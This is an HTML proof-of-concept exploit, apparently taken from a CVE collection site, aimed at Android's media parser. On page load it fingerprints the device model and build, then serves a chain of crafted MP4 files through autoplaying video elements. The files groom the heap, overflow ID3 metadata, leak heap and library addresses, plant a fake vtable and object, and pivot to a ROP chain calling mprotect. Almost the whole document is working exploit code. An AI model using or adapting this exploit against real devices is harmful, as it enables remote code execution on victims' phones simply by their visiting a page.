4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.html HTML
<html>
<head>
    <title>POC</title>
</head>
<body>
    <div id="log"></div>
    <script>
        if (!String.fromCodePoint) {
            (function() {
                var defineProperty = (function() {
                    // IE 8 only supports `Object.defineProperty` on DOM elements
                    try {
                        var object = {};
                        var $defineProperty = Object.defineProperty;
                        var result = $defineProperty(object, object, object) && $defineProperty;
                    } catch(error) {}
                    return result;
                }());
                var stringFromCharCode = String.fromCharCode;
                var floor = Math.floor;
                var fromCodePoint = function(_) {
                    var MAX_SIZE = 0x4000;
                    var codeUnits = [];
                    var highSurrogate;
                    var lowSurrogate;
                    var index = -1;
                    var length = arguments.length;
                    if (!length) {
                        return '';
                    }
                    var result = '';
                    while (++index < length) {
                        var codePoint = Number(arguments[index]);
                        if (
                            !isFinite(codePoint) || // `NaN`, `+Infinity`, or `-Infinity`
                            codePoint < 0 || // not a valid Unicode code point
                            codePoint > 0x10FFFF || // not a valid Unicode code point
                            floor(codePoint) != codePoint // not an integer
                        ) {
                            throw RangeError('Invalid code point: ' + codePoint);
                        }
                        if (codePoint <= 0xFFFF) { // BMP code point
                            codeUnits.push(codePoint);
                        } else { // Astral code point; split in surrogate halves
                            // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
                            codePoint -= 0x10000;
                            highSurrogate = (codePoint >> 10) + 0xD800;
                            lowSurrogate = (codePoint % 0x400) + 0xDC00;
                            codeUnits.push(highSurrogate, lowSurrogate);
                        }
                        if (index + 1 == length || codeUnits.length > MAX_SIZE) {
                            result += stringFromCharCode.apply(null, codeUnits);
                            codeUnits.length = 0;
                        }
                    }
                    return result;
                };
                if (defineProperty) {
                    defineProperty(String, 'fromCodePoint', {
                        'value': fromCodePoint,
                        'configurable': true,
                        'writable': true
                    });
                } else {
                    String.fromCodePoint = fromCodePoint;
                }
            }());
        }

        function log(s) {
            var l = document.getElementById('log');
            l.innerHTML += s + '<br/>';
        }

        function encode_utf8(s) {
            return unescape(encodeURIComponent(s));
        }

        function decode_utf8(s) {
            return decodeURIComponent(escape(s));
        }

        function encode_utf16be(str) {
            var buf = new ArrayBuffer(str.length*2);
            var bufView = new Uint16Array(buf);
            for (var i=0, strLen=str.length; i < strLen; i++) {
                bufView[i] = str.charCodeAt(i);
            }
            return bufView;
        }

        function utf16be_addr(addr) {
            var buf = encode_utf16be(decode_utf8(String.fromCodePoint(addr&0xff) + String.fromCodePoint((addr>>8)&0xff) + String.fromCodePoint((addr>>16)&0xff) + String.fromCodePoint((addr>>24)&0xff)));

            var out = new Uint8Array(buf.length*2);
            for (var i = 0, j = 0; i < buf.length; i++) {
                out[j++] = buf[i]>>8;
                out[j++] = buf[i]&0xff;
            }
            return out;
        }

        function isLE() {
            var v = new Uint16Array(1);
            v[0] = 0x4142;
            var d = new DataView(v.buffer);
            if (d.getInt8(0) == 0x42) {
                return true;
            }
            return false;
        }

        function str_to_array(str) {
            var buf = new Uint8Array(str.length);
            for (var i = 0; i < str.length; i++) {
                buf[i] = str.charCodeAt(i);
            }
            return buf;
        }

        function is_utf8_addr(addr) {
            if (addr < 0x80000000) {
                return false;
            }
            var str = String.fromCodePoint(addr&0xff) + String.fromCodePoint((addr>>8)&0xff) + String.fromCodePoint((addr>>16)&0xff) + String.fromCodePoint((addr>>24)&0xff);
            try {
                decode_utf8(str);
            } catch (error) {
                return false; 
            }
            return true;
        }

        function atob64(buffer) {
            var binary = '';
            var bytes = new Uint8Array(buffer);
            var len = bytes.byteLength;
            for (var i = 0; i < len; i++) {
                binary += String.fromCharCode(bytes[i]);
            }
            return window.btoa(binary);
        }

        function concat(a, b) {
            var c = new Uint8Array(a.length + b.length);
            c.set(a);
            c.set(b, a.length);
            return c;
        }

        function repeat(a, n) {
            var r = new Uint8Array(a.length * n);
            var i = 0;
            var j = 0;
            while (i < r.length) {
                r[i] = a[j++];
                if (j == (a.length)) {
                    j = 0;
                }
                i++;
            }
            return r;
        }

        function zero(size) {
            return repeat(new Uint8Array([0]), size);
        }

        function p32(d) {
            var a = new Uint8Array(4);
            a[0] = d&0xff;
            a[1] = (d&0xff00)>>8;
            a[2] = (d&0xff0000)>>16;
            a[3] = (d&0xff000000)>>24;
            return a;
        }

        function pb32(d) {
            var a = new Uint8Array(4);
            a[0] = (d&0xff000000)>>24;
            a[1] = (d&0xff0000)>>16;
            a[2] = (d&0xff00)>>8;
            a[3] = d&0xff;
            return a;
        }

        function chunk(tag, data) {
            data = data || new Uint8Array();
            return concat(pb32(data.length + 8), concat(tag, data));
        }

        function sample_table(data) {
            data = data || new Uint8Array();
            var stbl = new Uint8Array();
            stbl = concat(stbl, chunk([0x73,0x74,0x63,0x6f], zero(8)));       // 'stco'
            stbl = concat(stbl, chunk([0x73,0x74,0x73,0x63], zero(8)));       // 'stsc'
            stbl = concat(stbl, chunk([0x73,0x74,0x73,0x7a], zero(12)));      // 'stsz'
            stbl = concat(stbl, chunk([0x73,0x74,0x74,0x73], zero(8)));       // 'stts'
            stbl = concat(stbl, data);
            return chunk([0x73,0x74,0x62,0x6c], stbl);                        // 'stbl'
        }

        function memory_leak(size) {
            var pssh = new Uint8Array([0x6c,0x65,0x61,0x6b]);                 // 'leak'
            pssh = concat(pssh, repeat([0x4c], 16));                          // 'L' (uuid)
            pssh = concat(pssh, pb32(size));                                  // data len
            pssh = concat(pssh, repeat([0x4c], size));                        // 'L'
            return chunk([0x70,0x73,0x73,0x68], pssh);                        // 'pssh'
        }

        function id3_integer(value) {
            var output = new Uint8Array(4);
            for (var i = 3; i >= 0; i--) {
                output[i] = value&0x7f;
                value >>= 7;
            }
            return output;
        }

        function id32_frame_size(value) {
            var output = new Uint8Array(3);
            for (var i = 2; i >= 0; i--) {
                output[i] = value&0xff;
                value >>= 8;
            }
            return output;
        }

        function id32(body) {
            var id32 = repeat([0x41], 6);

            // ID3v2.2 header
            id32 = concat(id32, [0x49,0x44,0x33]);          // id ('ID3')
            id32 = concat(id32, [0x02]);                    // version major
            id32 = concat(id32, [0x02]);                    // version minor
            id32 = concat(id32, [0x00]);                    // flags
            id32 = concat(id32, id3_integer(body.length));  // size
            id32 = concat(id32, body);
            return chunk([0x49,0x44,0x33,0x32], id32);      // 'ID32'
        }

        function id32_tag(tag, contents, utf16) {
            utf16 = utf16 || false;
            var id32_tag = tag;
            if (utf16) {
                id32_tag = concat(id32_tag, id32_frame_size(1+contents.length));   // size
                id32_tag = concat(id32_tag, [0x02]);                      // encoding == UTF16-BE
                id32_tag = concat(id32_tag, contents);                    // bytes 
                id32_tag = concat(id32_tag, zero(6));                     // count from the header
            }
            else {
                id32_tag = concat(id32_tag, id32_frame_size(6+contents.length));   // size
                id32_tag = concat(id32_tag, [0x00]);                // encoding = ISO 8859-1
                id32_tag = concat(id32_tag, contents);              // bytes 
                id32_tag = concat(id32_tag, zero(5));               // count from the header
            }
            return id32_tag;
        }

        function tkhd() {
            return chunk([0x74,0x6b,0x68,0x64], zero(84));     // 'tkhd'
        }

        function mdhd() {
            var mdhd = new Uint8Array();
            mdhd = concat(mdhd, zero(4));                   // version
            mdhd = concat(mdhd, repeat(0x50, 8));           // padding
            mdhd = concat(mdhd, [0x00,0x00,0x00,0x01]);     // timescale
            //mdhd = concat(mdhd, [0x00,0x09,0x10,0x00]);     // duration
            mdhd = concat(mdhd, [0x00,0x00,0x00,0x00]);     // duration
            mdhd = concat(mdhd, zero(2));                   // language
            return chunk([0x6d,0x64,0x68,0x64], mdhd);      // 'mdhd'
        }

        function tenc() {
            return chunk([0x74,0x65,0x6e,0x63], zero(32));  // 'tenc'
        }

        function mp4v() {
            var mp4v = new Uint8Array();
            mp4v = concat(mp4v, zero(24));
            mp4v = concat(mp4v, repeat([0x41], 2));         // width
            mp4v = concat(mp4v, repeat([0x42], 2));         // height 
            mp4v = concat(mp4v, zero(50));
            return chunk([0x6d,0x70,0x34,0x76], mp4v);      // 'mp4v'
        }

        function tx3g() {
            return chunk([0x74,0x78,0x33,0x67], zero(20));  // 'tx3g'
        }

        function d263() {
            return chunk([0x64,0x32,0x36,0x33], zero(7));   // 'd263'
        }

        function esds() {
            return chunk([0x65,0x73,0x64,0x73], zero(8));   // 'esds'
        }

        function heap_mp4(data, extra_groom) {
            // this boolean represents performing 'additional' grooming necessary
            // on later versions of Android
            extra_groom = extra_groom || false;

            // 'ftyp'
            var mp4 = chunk([0x66,0x74,0x79,0x70],[0x69,0x73,0x6f,0x6d,0x00,0x00,0x00,0x01,0x69,0x73,0x6f,0x6d]);
           
            // 'moov' 
            mp4 = concat(mp4, chunk([0x6d,0x6f,0x6f,0x76]));

            // defragment (num of heap sprays is a guess...)
            mp4 = concat(mp4, repeat(memory_leak(0x80+16), 100)); 

            // create placeholder allocations
            // 'titl'
            mp4 = concat(mp4, chunk([0x74,0x69,0x74,0x6c], repeat([0x41], 0x85+16)));
            // 'perf'/'arti' (for some reason, this tag takes place of 'titl' in memory)
            mp4 = concat(mp4, chunk([0x70,0x65,0x72,0x66], repeat([0x42], 0x85+16)));
            if (extra_groom) {
                // 'auth'/'writ'
                mp4 = concat(mp4, chunk([0x61,0x75,0x74,0x68], repeat([0x43], 0x85+16)));
                // fill temporary hole created when copying metadata tags 
                mp4 = concat(mp4, memory_leak(0x80+16));
            }

            // make a hole at 'titl' for new KeyedVector from new MetaData object
            mp4 = concat(mp4, chunk([0x74,0x69,0x74,0x6c], repeat([0x48], 20)));
            if (extra_groom) {
                // make a hole at 'writ'
                mp4 = concat(mp4, chunk([0x61,0x75,0x74,0x68], repeat([0x48], 20)));
            }

            var trak = new Uint8Array();
            trak = concat(trak, sample_table());
            trak = concat(trak, tkhd());
            trak = concat(trak, mp4v());

            trak = concat(trak, chunk([0x68,0x76,0x63,0x43], data));               // 'hvcC'

            // make new hole for overflow tag at 'perf'/'arti'
            trak = concat(trak, chunk([0x70,0x65,0x72,0x66], repeat([0x48], 20)));

            var overflow = zero(4); // 2 utf-8
            overflow = concat(overflow, [0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00]);
            overflow = concat(overflow, [0x00,0x7f,0x00,0x00,0x00,0x00,0x00,0x00]);
            overflow = concat(overflow, [0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41]);
            overflow = concat(overflow, [0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41]); // 16

            overflow = concat(overflow, [0x00,0x74,0x00,0x67,0x00,0x48,0x00,0x64]);
            overflow = concat(overflow, [0x00,0x32,0x00,0x33,0x00,0x6e,0x00,0x69]);
            overflow = concat(overflow, [0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00]);
            overflow = concat(overflow, [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]); // 32

            overflow = concat(overflow, [0x00,0x64,0x00,0x69,0x00,0x57,0x00,0x64]);
            overflow = concat(overflow, [0x00,0x32,0x00,0x33,0x00,0x6e,0x00,0x69]);
            overflow = concat(overflow, [0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00]);
            overflow = concat(overflow, [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]); // 48

            overflow = concat(overflow, [0x00,0x65,0x00,0x69,0x00,0x57,0x00,0x64]);
            overflow = concat(overflow, [0x00,0x32,0x00,0x33,0x00,0x6e,0x00,0x69]);
            overflow = concat(overflow, [0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00]);
            overflow = concat(overflow, [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]); // 64

            overflow = concat(overflow, [0x00,0x67,0x00,0x69,0x00,0x65,0x00,0x68]);
            overflow = concat(overflow, [0x00,0x32,0x00,0x33,0x00,0x6e,0x00,0x69]);
            overflow = concat(overflow, [0x00,0x04,0x00,0x00,0x00,0x00]);           // 75

            var overflow_tag = repeat([0x00,0x46], (144 - 28 - 48 - 6));    // 62 (31 utf-8)
            overflow_tag = concat(overflow_tag, repeat([0xd8,0x41,0xd8,0x41,0xdc,0x41], 20)); // 32
            overflow_tag = concat(overflow_tag, overflow);
            // sizeof(overflow_tag) = 2 + 75 + 31 + 32 = 140 (0x8c)

            // 'TCP'/'cpil'
            trak = concat(trak, id32(id32_tag([0x54,0x43,0x50], overflow_tag, true)));

            mp4 = concat(mp4, chunk([0x74,0x72,0x61,0x6b], trak));   // 'trak'

            return mp4;
        }

        function fake_metadata_entry(key) {
            var out = new Uint8Array();
            for (var i = 0; i < key.length; i++) {
                out = concat(out, [0x00,key[i]]);
            }
            out = concat(out, [0xd8,0x41,0xd8,0x41,0xdc,0x41]);
            out = concat(out, [0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00]);
            out = concat(out, [0xd8,0x41,0xd8,0x41,0xdc,0x41]);
            return out;
        }

        function module_mp4(heap_address) {
            // 'ftyp'
            var mp4 = chunk([0x66,0x74,0x79,0x70],[0x69,0x73,0x6f,0x6d,0x00,0x00,0x00,0x01,0x69,0x73,0x6f,0x6d]);
           
            // 'moov' 
            mp4 = concat(mp4, chunk([0x6d,0x6f,0x6f,0x76]));

            // 'TAL'/'albu'
            var tags = id32_tag([0x54,0x41,0x4c], repeat([0x23],20));
            mp4 = concat(mp4, id32(tags));
            // 'titl'
            mp4 = concat(mp4, chunk([0x74,0x69,0x74,0x6c], repeat([0x41], 20)));
            // 'perf'/'arti'
            mp4 = concat(mp4, chunk([0x70,0x65,0x72,0x66], repeat([0x42], 20)));
            // 'auth'/'writ'
            mp4 = concat(mp4, chunk([0x61,0x75,0x74,0x68], repeat([0x43], 20)));
            // 'gnre'/'genr' 
            mp4 = concat(mp4, chunk([0x67,0x6e,0x72,0x65], repeat([0x44], 20)));

            // defragment (num of heap sprays is a guess...)
            mp4 = concat(mp4, repeat(memory_leak(0x80+16), 10));

            // 'titl'
            mp4 = concat(mp4, chunk([0x74,0x69,0x74,0x6c], repeat([0x41], 0x85+16)));
            // 'perf'/'arti'
            mp4 = concat(mp4, chunk([0x70,0x65,0x72,0x66], repeat([0x42], 0x85+16)));
            // 'auth'/'writ'
            mp4 = concat(mp4, chunk([0x61,0x75,0x74,0x68], repeat([0x43], 0x85+16)));
            // 'gnre'/'genr' 
            mp4 = concat(mp4, chunk([0x67,0x6e,0x72,0x65], repeat([0x44], 0x85+16)));

            // fill temporary hole used for copying metadata field values 
            mp4 = concat(mp4, memory_leak(0x80+16));

            // make a hole for second MetaData entry
            // 'perf'/'arti'
            mp4 = concat(mp4, chunk([0x70,0x65,0x72,0x66], repeat([0x23], 20)));

            var trak = new Uint8Array();
            trak = concat(trak, mp4v());
            trak = concat(trak, tkhd());

            var overflow1 = repeat([0x00,0x41], 112);
            overflow1 = concat(overflow1, repeat([0xd8,0x41,0xd8,0x41,0xdc,0x41], 8));
            overflow1 = concat(overflow1, [0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00]);
            overflow1 = concat(overflow1, [0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00]);
            overflow1 = concat(overflow1, zero(16));

            overflow1 = concat(overflow1, fake_metadata_entry([0x70,0x67,0x48,0x64]));
            overflow1 = concat(overflow1, [0x00,0x71,0x00,0x67,0x00,0x48,0x00,0x64]);
            overflow1 = concat(overflow1, [0xd8,0x41,0xd8,0x41,0xdc,0x41]);
            overflow1 = concat(overflow1, [0x00,0x04,0x00,0x00,0x00,0x00]);

            // make a hole for overflow buf by freeing 'titl' tag
            trak = concat(trak, chunk([0x74,0x69,0x74,0x6c], repeat([0x23], 20)));
            // 'TPA' -> 'dnum'
            trak = concat(trak, id32(id32_tag([0x54,0x50,0x41], overflow1, true)));
            // end of first overflow

            // second overflow
            trak = concat(trak, tkhd());
            trak = concat(trak, tenc());
            trak = concat(trak, d263());
            trak = concat(trak, chunk([0x61,0x76,0x63,0x43], repeat([0x23], 20)));    // 'avcC'
            trak = concat(trak, chunk([0x68,0x76,0x63,0x43], repeat([0x23], 20)));    // 'hvcC'

            // make a hole for the sample table
            // 'gnre'/'genr' 
            trak = concat(trak, chunk([0x67,0x6e,0x72,0x65], repeat([0x44], 20)));
            
            // sample table
            trak = concat(trak, chunk([0x73,0x74,0x62,0x6c]));  // 'stbl'

            var overflow2 = repeat([0xd8,0x41,0xd8,0x41,0xdc,0x41], 36);
            overflow2 = concat(overflow2, [0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00]);
            overflow2 = concat(overflow2, [0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00]);
            overflow2 = concat(overflow2, repeat([0xd8,0x41,0xd8,0x41,0xdc,0x41], 2));

            overflow2 = concat(overflow2, [0x00,0x67,0x00,0x69,0x00,0x65,0x00,0x68]);
            overflow2 = concat(overflow2, [0x00,0x32,0x00,0x33,0x00,0x6e,0x00,0x69]);
            overflow2 = concat(overflow2, [0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00]);
            overflow2 = concat(overflow2, [0xd8,0x41,0xd8,0x41,0xdc,0x41]);

            // junk tags
            overflow2 = concat(overflow2, fake_metadata_entry([0x68,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x69,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x6a,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x6b,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x6c,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x6d,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x6e,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x6f,0x69,0x65,0x68]));

            // special entry
            overflow2 = concat(overflow2, [0x00,0x70,0x00,0x69,0x00,0x65,0x00,0x68]);
            overflow2 = concat(overflow2, utf16be_addr(heap_address));
            overflow2 = concat(overflow2, zero(16));

            // more junk tags
            overflow2 = concat(overflow2, fake_metadata_entry([0x71,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x72,0x69,0x65,0x68]));
            overflow2 = concat(overflow2, fake_metadata_entry([0x73,0x69,0x65,0x68]));

            // fake height entry that will leak the pointer
            overflow2 = concat(overflow2, [0x00,0x74,0x00,0x64,0x00,0x69,0x00,0x77]);
            overflow2 = concat(overflow2, [0x00,0x32,0x00,0x33,0x00,0x6e,0x00,0x69]);
            overflow2 = concat(overflow2, [0x00,0x04]);

            // make hole at 'titl'
            trak = concat(trak, id32(id32_tag([0x54,0x43,0x50], overflow2, true)));  // 'TCP'

            // add a mime type (must do this)
            // 'frma', 'mp4v'
            trak = concat(trak, chunk([0x66,0x72,0x6d,0x61], [0x6d,0x70,0x34,0x76]));
            trak = concat(trak, sample_table());
            trak = concat(trak, tkhd());

            // 'trak'
            mp4 = concat(mp4, chunk([0x74,0x72,0x61,0x6b], trak));
            return mp4;
        }

        function exploit_mp4(object_address) {
            // 'ftyp'
            var mp4 = chunk([0x66,0x74,0x79,0x70],[0x69,0x73,0x6f,0x6d,0x00,0x00,0x00,0x01,0x69,0x73,0x6f,0x6d]); 

            // defragment (num of heap sprays is a guess...)
            mp4 = concat(mp4, repeat(memory_leak(0x80+16), 10));
            // 'titl'
            mp4 = concat(mp4, chunk([0x74,0x69,0x74,0x6c], repeat([0x41], 0x85+16)));
            // fill temporary hole used for copying 'titl' metadata field 
            mp4 = concat(mp4, memory_leak(0x80+16));

            var overflow = repeat([0x00,0x41], 127);
            overflow = concat(overflow, repeat([0xd8,0x41,0xd8,0x41,0xdc,0x41], 4));
            overflow = concat(overflow, [0x00,0x00]);
            overflow = concat(overflow, [0x00,0x42,0x00,0x42,0x00,0x42,0x00,0x42]);
            overflow = concat(overflow, [0x00,0x43,0x00,0x43,0x00,0x43,0x00,0x43]);
            overflow = concat(overflow, utf16be_addr(object_address));

            var trak = new Uint8Array();
            var stbl = new Uint8Array();
            // 'titl'
            stbl = concat(stbl, chunk([0x74,0x69,0x74,0x6c], repeat([0x23], 20)));
            // 'TAL'
            stbl = concat(stbl, id32(id32_tag([0x54,0x41,0x4c], overflow, true)));
            // 'stts'
            stbl = concat(stbl, chunk([0x73,0x74,0x74,0x73], zero(8)));

            // 'stbl'
            trak = concat(trak, chunk([0x73,0x74,0x62,0x6c], stbl));

            mp4 = concat(mp4, chunk([0x74,0x72,0x61,0x6b], trak));
            return mp4;
        }

        function getModelAndBuildID() {
            var userAgentStr = navigator.userAgent;
            //var userAgentStr = "Mozilla/5.0 (Linux; Android 5.1.1; AOSP on HammerHead Build/LMY48B) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.6";
            var re = /Android.*Build\/.{6}/g;
            var match = re.exec(userAgentStr);
            if (match.length == 1) {
                var s = match[0];
                var model = s.substring(s.indexOf(";")+2, s.indexOf("Build")-1);
                var buildID = s.substr(s.indexOf("/")+1, 6);
                return [model, buildID];
            }
            return undefined;
        }

        var devices_table = {
            'AOSP on HammerHead': {
                'LMY48B': {
                    'extra_groom':      false,
                    'vtable_offset':    0x1,
                    'pivot_offset':     0x2,
                    'pop_r0_pc_offset': 0x3,
                    'mprotect_offset':  0x4
                },
                'MOB30Y': {
                    'extra_groom':      true,
                    'vtable_offset':    0x000bbf48,
                    'pivot_offset':     0x00097034,
                    'pop_r0_pc_offset': 0x00097cd8,
                    'mprotect_offset':  0x0005bc00
                }
            }
        }

        var device_options = undefined;

        function fake_vtable(heap_address, module_address) {
            var base_address = module_address - device_options['vtable_offset'];
            var pivot_address = base_address + device_options['pivot_offset'];
            var mprotect_address = base_address + device_options['mprotect_offset'];

            var vtable = repeat(p32(pivot_address), 8);
            vtable = concat(vtable, p32(heap_address & 0xfffff000));
            vtable = concat(vtable, p32(mprotect_address));

            vtable = concat(vtable, [0x23,0x23,0x23,0x23]);
            vtable = concat(vtable, p32(heap_address + 0x21));
            return vtable;
        }

        // function fake_object(module_address, vtable_address) {
        //     var base = module_address - device_options['vtable_offset'];
        //     var pop_r0_pc = base + device_options['pop_r0_pc_offset'];

        //     var obj = p32(vtable_address);
        //     obj = concat(obj, p32(0x1000));     // size
        //     obj = concat(obj, p32(0x7));        // prot
        //     obj = concat(obj, zero(40));
        //     obj = concat(obj, p32(vtable_address + 0x20));  // new sp?
        //     obj = concat(obj, zero(4));
        //     obj = concat(obj, p32(pop_r0_pc));
        //     while (obj.length < 0x800) {
        //         obj = concat(obj, [0x23]);
        //     }
        //     return obj;
        // }

        function fake_object(module_address, vtable_address) {
            var base = module_address - device_options['vtable_offset'];
            var pop_r0_pc = base + device_options['pop_r0_pc_offset'];

            var obj = p32(vtable_address);
            obj = concat(obj, p32(0x1000));     // size
            obj = concat(obj, p32(0x7));        // prot
            obj = concat(obj, zero(40));
            obj = concat(obj, p32(vtable_address + 0x20));  // new sp?
            obj = concat(obj, zero(4));
            obj = concat(obj, p32(pop_r0_pc));
            while (obj.length < 0x800) {
                obj = concat(obj, [0x23]);
            }
            return obj;
        }

        function main() {
            var dev_info = getModelAndBuildID();
            if (dev_info == undefined) {
                log('Could not enumerate device info, bailing...');
                return;
            }
            // find the device ID and build ID in our devices table
            var dev = dev_info[0];
            var buildID = dev_info[1];

            if (devices_table[dev] == undefined || devices_table[dev][buildID] == undefined) {
                log('Device and/or build not in table, bailing...');
                return;
            }

            device_options = devices_table[dev][buildID];
            log('Device: ' + dev + ', BuildID: ' + buildID);
            log('[*] firing stage1...');
            stage1();
        }

        // let's cache the created mp4s to speed things up...
        var heap_mp4_data = undefined;
        var module_mp4_data = undefined;
        var vtable_mp4_data = undefined;
        var object_mp4_data = undefined;

        main();

        function stage1() {
            var v = undefined;

            function stage1_done() {
                // short circuit for now...
                //log('[*] short-circuit stage2...');
                //stage2(0xb4c82000);
                //return;

                log(v.videoHeight.toString(16));
                if (is_utf8_addr(v.videoHeight)) {
                    log('[*] firing stage2...');
                    stage2(v.videoHeight);
                }
                else {
                    stage1();
                }
            }

            var payload = repeat([0x00,0xa0,0xf0,0xf7], 0x200);
            var v_mp4 = "data:video/mp4;base64,";
            if (heap_mp4_data == undefined) {
                heap_mp4_data = heap_mp4(payload, device_options["extra_groom"]);
            }
            v_mp4 += atob64(heap_mp4_data);
            v = document.createElement('video');
            var sourceMP4 = document.createElement('source'); 
            sourceMP4.type = 'video/mp4';
            sourceMP4.src = v_mp4;
            v.onloadedmetadata = stage1_done;
            v.autoplay = 'true';
            v.appendChild(sourceMP4);
            document.body.appendChild(v);
        }

        function stage2(heap_address) {
            var v = undefined;
        
            function stage2_done() {
                if (v.videoWidth != 0x4141 && v.videoWidth != 0) {
                    log(v.videoWidth.toString(16));
                    log('[*] firing stage3...');
                    stage3(heap_address, v.videoWidth);
                }
                else {
                    stage2(heap_address);
                }
            }

            var v_mp4 = "data:video/mp4;base64,";
            if (module_mp4_data == undefined) {
                module_mp4_data = module_mp4(heap_address);
            }
            v_mp4 += atob64(module_mp4_data);
            v = document.createElement('video');
            var sourceMP4 = document.createElement('source'); 
            sourceMP4.type = 'video/mp4';
            sourceMP4.src = v_mp4;
            v.onloadedmetadata = stage2_done;
            v.autoplay = 'true';
            v.appendChild(sourceMP4);
            document.body.appendChild(v);
        }

        function stage3(heap_address, module_address) {
            var v = undefined;

            function stage3_done() {
                if (v.videoHeight != 0x4242) {
                    log(v.videoHeight.toString(16));
                    log('[*] firing stage4...');
                    stage4(module_address, v.videoHeight);
                    return;
                }
                else {
                    stage3(heap_address, module_address);
                }
            }

            var v_mp4 = "data:video/mp4;base64,";
            if (vtable_mp4_data == undefined) {
                vtable_mp4_data = heap_mp4(fake_vtable(heap_address, module_address), device_options["extra_groom"]);
            }
            v_mp4 += atob64(vtable_mp4_data);
            v = document.createElement('video');
            var sourceMP4 = document.createElement('source'); 
            sourceMP4.type = 'video/mp4';
            sourceMP4.src = v_mp4;
            v.onloadedmetadata = stage3_done;
            v.autoplay = 'true';
            v.appendChild(sourceMP4);
            document.body.appendChild(v);
        }

        function stage4(module_address, vtable_address) {
            var v = undefined;

            function stage4_done() {
                log(v.videoHeight.toString(16));

                if (is_utf8_addr(v.videoHeight)) {
                    log('[*] firing stage5...');
                    stage5(v.videoHeight);
                }
                else {
                    stage4(module_address, vtable_address);
                }
            }

            var v_mp4 = "data:video/mp4;base64,";
            if (object_mp4_data == undefined) {
                object_mp4_data = heap_mp4(fake_object(module_address, vtable_address), device_options["extra_groom"]);
            }
            v_mp4 += atob64(object_mp4_data);
            v = document.createElement('video');
            var sourceMP4 = document.createElement('source'); 
            sourceMP4.type = 'video/mp4';
            sourceMP4.src = v_mp4;
            v.onloadedmetadata = stage4_done;
            v.autoplay = 'true';
            v.appendChild(sourceMP4);
            document.body.appendChild(v);
        }

        function stage5(object_address) {
            var v = undefined;
            var v_mp4 = "data:video/mp4;base64,";
            v_mp4 += atob64(exploit_mp4(object_address));
            v = document.createElement('video');
            var sourceMP4 = document.createElement('source'); 
            sourceMP4.type = 'video/mp4';
            sourceMP4.src = v_mp4;
            v.autoplay = 'true';
            v.appendChild(sourceMP4);
            document.body.appendChild(v);
        }
    </script>
</body>
</html>